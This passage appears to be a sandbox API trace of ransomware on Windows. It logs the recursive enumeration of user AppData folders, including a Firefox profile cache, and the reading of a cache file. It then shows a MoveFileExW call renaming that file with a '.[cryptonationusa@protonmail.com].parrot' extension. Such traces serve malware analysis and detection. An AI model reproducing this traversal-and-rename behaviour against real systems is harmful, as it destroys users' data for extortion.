hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb375a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb375a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xbb695760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb695760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xbb753e40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb753e40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc1214500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1214500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc1286920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1286920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc1286920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1286920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0086.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0086.983] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0086.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0086.983] lstrcmpW (lpString1="Microsoft Help", lpString2=".") returned 1 [0086.983] lstrcmpW (lpString1="Microsoft Help", lpString2="..") returned 1 [0086.983] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0086.984] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.984] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.984] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.984] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.984] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.984] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0086.984] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.984] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0086.984] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0086.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0086.984] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0086.984] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0086.985] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0086.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0086.985] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.985] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.985] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.985] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.985] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0086.985] lstrcmpW (lpString1="Firefox", lpString2=".") returned 1 [0086.985] lstrcmpW (lpString1="Firefox", lpString2="..") returned 1 [0086.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0086.987] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.987] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.988] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.988] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.988] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0086.988] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0086.988] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0086.988] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0086.988] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.988] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.989] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.989] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.989] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0086.989] lstrcmpW (lpString1="silmbjec.default", lpString2=".") returned 1 [0086.990] lstrcmpW (lpString1="silmbjec.default", lpString2="..") returned 1 [0086.990] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0086.992] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.992] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.993] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.993] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.993] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0086.993] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0086.993] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0086.993] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0086.995] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.995] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.996] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.996] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.996] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1 [0086.996] lstrcmpW (lpString1="0", lpString2=".") returned 1 [0086.997] lstrcmpW (lpString1="0", lpString2="..") returned 1 [0086.997] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0086.997] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.997] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.998] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.998] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.998] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="98", cAlternateFileName="")) returned 1 [0086.998] lstrcmpW (lpString1="98", lpString2=".") returned 1 [0086.998] lstrcmpW (lpString1="98", lpString2="..") returned 1 [0086.998] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0086.999] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.999] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.000] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.000] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.000] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8cd19f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="B60F3d01", cAlternateFileName="")) returned 1 [0087.000] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.000] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.002] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.002] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb67e, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xb67e, lpOverlapped=0x0) returned 1 [0087.004] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.005] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\b60f3d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\b60f3d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264258 | out: hHeap=0x5b0000) returned 1 [0087.008] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.008] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc12d2be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12d2be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.008] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc12d2be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb798, dwReserved0=0x0, dwReserved1=0x0, 